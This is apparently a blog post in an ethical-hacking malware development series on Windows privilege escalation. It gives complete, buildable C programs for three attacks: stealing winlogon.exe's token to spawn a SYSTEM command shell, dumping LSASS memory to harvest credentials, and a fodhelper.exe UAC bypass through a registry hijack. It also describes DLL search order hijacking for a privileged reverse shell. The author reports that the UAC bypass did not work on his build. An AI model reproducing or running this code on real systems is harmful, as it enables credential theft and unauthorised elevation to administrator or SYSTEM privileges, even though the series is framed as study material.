CybersecurityDev

Malware Dev – Chapter 04 – Privilege Escalation

Continued series from the Malware Development for Ethical Hackers Book.
GitHub repo: EricTurner3 – Malware_Development.

This chapter contains methods to achieve persistence of malware in Windows.

Manipulating Access Tokens

Token Theft

The book provides a great demonstration of C code where the end user can pass a PID and it attempts to grab the token for that process and then opens up mspaint.exe with those privileges. I made a few adjustments. My code takes a snapshot of all running processes, searches for a specific process (in this case winlogon.exe, which should always be running as NT AUTHORITY\SYSTEM, automatically grabs the PID and then spawns a command shell with elevated permissions. In this instance, the local admin account needs to run the executable, which then is able to escalate further to SYSTEM. I attempted to run from a non-elevated account, and it fails to properly grab the privilege.

/*
    PrivEsc - Token Theft
    23 Jan 2025
    Eric

    To build: x86_64-w64-mingw32-gcc 04_token_theft.c -o RunAsAdmin.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
*/

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>


const char *processToSteal = "winlogon.exe"; // process to find to attempt to take 
LPWSTR processToCreate = L"C:\\Windows\\System32\\cmd.exe"; // new process to create with the stolen token

// my custom code, find a specific process
DWORD findProcess(const char *procName) {
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;
    DWORD winlogonPID = 0;

    // Take a snapshot of all processes in the system.
    // https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        return 0;
    }

    pe32.dwSize = sizeof(PROCESSENTRY32);

    // Retrieve information about the first process.
    if (Process32First(hProcessSnap, &pe32)) {
        do {
            // Check if the process name matches (0 indicates identical)
            if (_stricmp(pe32.szExeFile, procName) == 0) {
                winlogonPID = pe32.th32ProcessID;
                break; // Exit the loop once we find the process
            }
        } while (Process32Next(hProcessSnap, &pe32));
    }

    // Clean up the snapshot object.
    CloseHandle(hProcessSnap);
    return winlogonPID;
}

// set privilege
BOOL setPrivilege(LPCTSTR priv) {
    HANDLE token;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    BOOL res = TRUE;

    // takes the name of the privilege from arg and attempts to find it in system
    // https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegevaluew   
    if (!LookupPrivilegeValue(NULL, priv, &luid)) res = FALSE;
    
    // attempt to open the proc token with the ability to adjust privs
    // https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token)) res = FALSE;

    // create a new token priv object and enable the privilege
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    // use the token priv object to enable the privilege
    // https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges
    if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) res = FALSE;

    // cleanup
    CloseHandle(token);
    printf(res ? "privilege enabled %s\n" : "failed to enable privilege %s \n", priv);
    return res;
}

// get access token
HANDLE getToken(DWORD pid) {
  HANDLE cToken = NULL;
  HANDLE ph = NULL;
  if (pid == 0) {
    ph = GetCurrentProcess();
  } else {
    ph = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, TRUE, pid);
  }
  if (!ph) cToken = (HANDLE)NULL;
  printf(ph ? "successfully get process handle :)\n" : "failed to get process handle :(\n");
  BOOL res = OpenProcessToken(ph, MAXIMUM_ALLOWED, &cToken);
  if (!res) cToken = (HANDLE)NULL;
  printf((cToken != (HANDLE)NULL) ? "successfully get access token :)\n" : "failed to get access token :(\n");
  return cToken;
}

// create process
BOOL createProcess(HANDLE token, LPCWSTR app) {
    HANDLE dToken = NULL;
    STARTUPINFOW si;
    PROCESS_INFORMATION pi;
    BOOL res = TRUE;
    ZeroMemory(&si, sizeof(STARTUPINFOW));
    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
    si.cb = sizeof(STARTUPINFOW);

    // copy the arg access token and make a new access token with max allowed perms
    // https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetokenex
    res = DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &dToken);
    printf(res ? "process token duplicated\n" : "failed to duplicate process token\n");
    
    // attempt to create the new process with token
    // https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw
    res = CreateProcessWithTokenW(dToken, LOGON_WITH_PROFILE, app, NULL, 0, NULL, NULL, &si, &pi);
    printf(res ? "process created\n" : "failed to create process\n");
    return res;
}

int main(int argc, char** argv) {
  if (!setPrivilege(SE_DEBUG_NAME)) return -1;
  DWORD pid = findProcess(processToSteal); // take snapshot and find a specific process
  HANDLE cToken = getToken(pid); // attempt to get token
  if (!createProcess(cToken, processToCreate)) return -1;
  return 0;
}

Password Stealing

It appears I was a bit ahead of the curve in the last section, as this topic now introduces scanning for a process. We can re-use a lot of our existing code from the token theft, including the findProcess and setPriv functions. Initiallly, I was not getting the dump file generated. I determined the path must exist, otherwise CreateFileW cannot create a new dir, only the file. I added some extra printf statements for debugging in generateMiniDump().

/*
    PrivEsc - LSASS Dump
    23 Jan 2025
    Eric

    To build: x86_64-w64-mingw32-gcc 04_dump_lsass.c -o dump.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -ldbghelp
*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include <dbghelp.h>
#pragma comment (lib, "dbghelp.lib")


const char *targetProcess = "lsass.exe"; // process to find
LPCWSTR dumpFile = L"C:\\Users\\Public\\Desktop\\lsass.dmp"; // where the proc dump should go, the dir should already exist, else CreateFile will fail

// my custom code, find a specific process
DWORD findProcess(const char *procName) {
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;
    DWORD winlogonPID = 0;

    // Take a snapshot of all processes in the system.
    // https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        return 0;
    }

    pe32.dwSize = sizeof(PROCESSENTRY32);

    // Retrieve information about the first process.
    if (Process32First(hProcessSnap, &pe32)) {
        do {
            // Check if the process name matches (0 indicates identical)
            if (_stricmp(pe32.szExeFile, procName) == 0) {
                winlogonPID = pe32.th32ProcessID;
                break; // Exit the loop once we find the process
            }
        } while (Process32Next(hProcessSnap, &pe32));
    }

    // Clean up the snapshot object.
    CloseHandle(hProcessSnap);
    return winlogonPID;
}

// set privilege
BOOL setPrivilege(LPCTSTR priv) {
    HANDLE token;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    BOOL res = TRUE;

    // takes the name of the privilege from arg and attempts to find it in system
    // https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegevaluew   
    if (!LookupPrivilegeValue(NULL, priv, &luid)) res = FALSE;
    
    // attempt to open the proc token with the ability to adjust privs
    // https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token)) res = FALSE;

    // create a new token priv object and enable the privilege
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    // use the token priv object to enable the privilege
    // https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges
    if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) res = FALSE;

    // cleanup
    CloseHandle(token);
    printf(res ? "privilege enabled %s\n" : "failed to enable privilege %s \n", priv);
    return res;
}

// create minidump of lsass.exe
BOOL generateMiniDump() {
  BOOL dumpSuccess = FALSE;
  DWORD processID = findProcess(targetProcess);
  HANDLE processHandle = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 0, processID);
  HANDLE outputHandle = CreateFileW(dumpFile, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  if (processHandle && outputHandle != INVALID_HANDLE_VALUE) {
    // dump proc with mem
    // https://learn.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump
    dumpSuccess = MiniDumpWriteDump(processHandle, processID, outputHandle, MiniDumpWithFullMemory, NULL, NULL, NULL);
    printf(dumpSuccess ? "successfully dumped to lsass.dmp\n" : "failed to dump\n");
  } 
  // error handle if the process is not found or an error in dumping the process
  else{
    if (processHandle == NULL) {
            printf("Error: Unable to open process with ID %lu. Error code: %lu\n", processID, GetLastError());
        }
    if (outputHandle == INVALID_HANDLE_VALUE) {
        printf("Error: Unable to create dump file. Error code: %lu\n", GetLastError());
    }
  }
  return dumpSuccess; 
}

int main(int argc, char** argv) {
  if (!setPrivilege(SE_DEBUG_NAME)) return -1;
  if (!generateMiniDump()) return -1;
  return 0;
}

DLL Search Order Hijacking

This tactic seems to come up frequently, it also appeared in chapters 1 and 3. You can find my code where I previously used this exploit in the chapter 03 blog post, here.

The only thing different about this particular approach is that we attempt to find an application that runs as NT Authority\System. Once one is found, we perform the same trick as before, where a DLL is replaced with our malicious DLL. It will then inherit the permissions of the account when our reverse shell is granted. The book uses Discord.exe, which appears to use system privileges when running (for whatever reason).

Circumventing UAC

fodhelper.exe

This executable, found under C:\Windows\System32\fodhelper.exe is utilized to help manage Optional Features in Windows. Booting the application up launches the Settings > System > Optional Features pane.

Using sigcheck.exe -a -m c:\\windows\\system32\\fodhelper.exe on my Flare-VM Windows10 vm, it launches the SysInternal’s SigCheck utility. The manifest provides details that execution of this application requires admin privileges:

Using procmon, we can monitor what registry values the executable attempts to query. The book showcases a \Shell\Open\command registry key that does not actually exist:

registry key that does not exist

By creating a registry key here to spawn a command shell, it can spawn with elevated privileges.

/*
    PrivEsc - Token Theft
    25 Jan 2025
    Eric

    To build: x86_64-w64-mingw32-gcc 04_uac_bypass.c -o tetris.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
*/

#include <windows.h>
#include <stdio.h>

int main() {
    HKEY registryKey;
    DWORD disposition;

    const char* registryPath = "Software\\Classes\\ms-settings\\Shell\\Open\\command";
    const char* command = "cmd /c start C:\\Windows\\System32\\cmd.exe"; // default program
    const char* delegateExecute = "";

    // Attempt to open the registry key
    // https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexw
    // disposition is set but never seems to be read from or used
    LSTATUS status = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR)registryPath, 0, NULL, 0, KEY_WRITE, NULL, &registryKey, &disposition);
    printf(status != ERROR_SUCCESS ? "Failed to open or create the registry key.\n" : "Successfully created the registry key.\n");

    // sets the default value to our command
    status = RegSetValueEx(registryKey, "", 0, REG_SZ, (unsigned char*)command, strlen(command));
    printf(status != ERROR_SUCCESS ? "Failed to set the registry value.\n" : "Successfully set the registry value.\n");

    // creates a DelegateExecute value set to null
    status = RegSetValueEx(registryKey, "DelegateExecute", 0, REG_SZ, (unsigned char*)delegateExecute, strlen(delegateExecute));
    printf(status != ERROR_SUCCESS ? "Failed to set the registry value: DelegateExecute.\n" : "Successfully set the registry value: DelegateExecute.\n");

    // Close the registry key handle
    RegCloseKey(registryKey);

    // Start the fodhelper.exe program
    SHELLEXECUTEINFO shellExecuteInfo = { sizeof(shellExecuteInfo) };
    shellExecuteInfo.lpVerb = "runas";
    shellExecuteInfo.lpFile = "C:\\Windows\\System32\\fodhelper.exe";
    shellExecuteInfo.hwnd = NULL;
    shellExecuteInfo.nShow = SW_NORMAL;

    if (!ShellExecuteEx(&shellExecuteInfo)) {
        DWORD error = GetLastError();
        printf (error == ERROR_CANCELLED ? "The user refused to allow privilege elevation.\n" : "Unexpected error! Error code: %ld\n", error);
    } else {
        printf("Successfully created the process\n");
    }
    
    return 0;
}

Per this blogpost, if Windows Defender is enabled, the modification of the registry for UAC is flagged as Win32/UACBypassExp and can be removed. The author appeared to be on a Win10 1903 build. I am currently on 22H2, 1904.3803. I tried a few methods for this, it does write the command to the registry, but the command window that spawns is still non-privileged. Changing the command to cmd /c powershell.exe further confirms the full command does not seem to run, it spawns the cmd.exe but powershell.exe never boots. Will have to do more investigation into if this was finally patched. Most articles about this exploit are a few years old.